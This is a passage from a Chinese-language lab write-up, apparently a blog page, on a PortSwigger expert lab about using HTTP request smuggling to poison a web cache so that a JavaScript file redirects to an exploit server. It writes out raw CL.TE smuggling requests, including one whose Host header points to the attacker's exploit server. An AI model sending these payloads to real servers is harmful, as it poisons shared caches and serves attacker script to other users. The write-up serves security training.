专家-利用请求走私-执行Web缓存投毒
# 实验室:利用HTTP请求走私执行Web缓存投毒
# 题目
此实验室涉及前端和后端服务器,前端服务器不支持分块编码。前端服务器会缓存某些响应。
若要解决实验室问题,请执行请求走私攻击,让缓存中毒,使后续对 JavaScript 文件的请求重定向至漏洞利用服务器。中毒的缓存应执行alert(document.cookie)
。
笔记
- 尽管实验室支持 HTTP/2,但预期的解决方案需要依靠 HTTP/1 中的可用技术。你可以在 Burp Repeater 的面板 “Inspector > Request attributes” 部分手动切换协议。
- 该实验室会模拟受害用户的活动。你每向实验室发出一定数量的 POST 请求,受害用户就会发出自己的请求。你可能需要重复几次攻击,以确保受害用户的请求按要求发出。
提示
在请求走私攻击中,手动修复长度字段可能很棘手。我们的 Burp 扩展 HTTP Request Smuggler (opens new window) 可以提供这方面的帮助。你可以通过 BApp Store 安装它。
- name: 实验室-专家
desc: 利用HTTP请求走私执行Web缓存投毒 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning
bgColor: '#001350'
textColor: '#d112fe'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
/resources/js/tracking.js
POST / HTTP/1.1
Host: ...
Content-Length: 4
Transfer-Encoding: chunked
1
A
B
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
GET /post/next?postId=5 HTTP/2
Host: ...
1
2
3
4
2
3
4
POST / HTTP/1.1
Host: ...
Content-Length: 131
Transfer-Encoding: chunked
0
GET /post/next?postId=5 HTTP/1.1
Host: <漏洞利用服务器>
Content-Length: 100
x=
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
编辑 (opens new window)